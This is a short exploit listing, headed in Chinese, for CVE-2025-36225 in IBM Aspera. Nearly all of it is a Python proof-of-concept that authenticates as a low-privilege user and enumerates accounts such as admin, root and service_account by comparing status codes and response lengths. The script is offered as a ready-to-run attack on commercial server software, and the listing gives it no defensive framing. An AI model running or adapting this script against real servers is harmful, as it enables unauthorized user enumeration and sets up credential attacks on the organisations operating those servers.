CVE-2025-36225 IBM Aspera 信息泄露漏洞

# CVE-2025-36225 PoC - IBM Aspera Information Disclosure via Observable Discrepancy # This PoC demonstrates user enumeration through response discrepancy import requests TARGET_URL = "https://target-aspera-server:9092" USERNAME = "authenticated_low_priv_user" PASSWORD = "user_password" def authenticate(session, base_url, username, password): """Authenticate to IBM Aspera and obtain session token""" login_url = f"{base_url}/ajax_endpoint" login_data = { "operation": "login", "username": username, "password": password } response = session.post(login_url, json=login_data, verify=False) if response.status_code == 200: return response.json().get("token") return None def enumerate_users(session, base_url, token, user_list): """Enumerate valid users by observing response discrepancies""" results = {} headers = {"Authorization": f"Bearer {token}"} for target_user in user_list: # Query user information endpoint query_url = f"{base_url}/ajax_endpoint" query_data = { "operation": "get_user_info", "username": target_user } response = session.post(query_url, json=query_data, headers=headers, verify=False) # Analyze response discrepancies response_length = len(response.content) status_code = response.status_code # Valid users typically return different response patterns if status_code == 200 and response_length > 100: results[target_user] = "likely_exists" elif status_code == 403: results[target_user] = "exists_but_restricted" else: results[target_user] = "not_found" return results if __name__ == "__main__": session = requests.Session() token = authenticate(session, TARGET_URL, USERNAME, PASSWORD) if token: candidates = ["admin", "root", "user1", "test", "service_account"] results = enumerate_users(session, TARGET_URL, token, candidates) print("Enumeration results:", results) else: print("Authentication failed")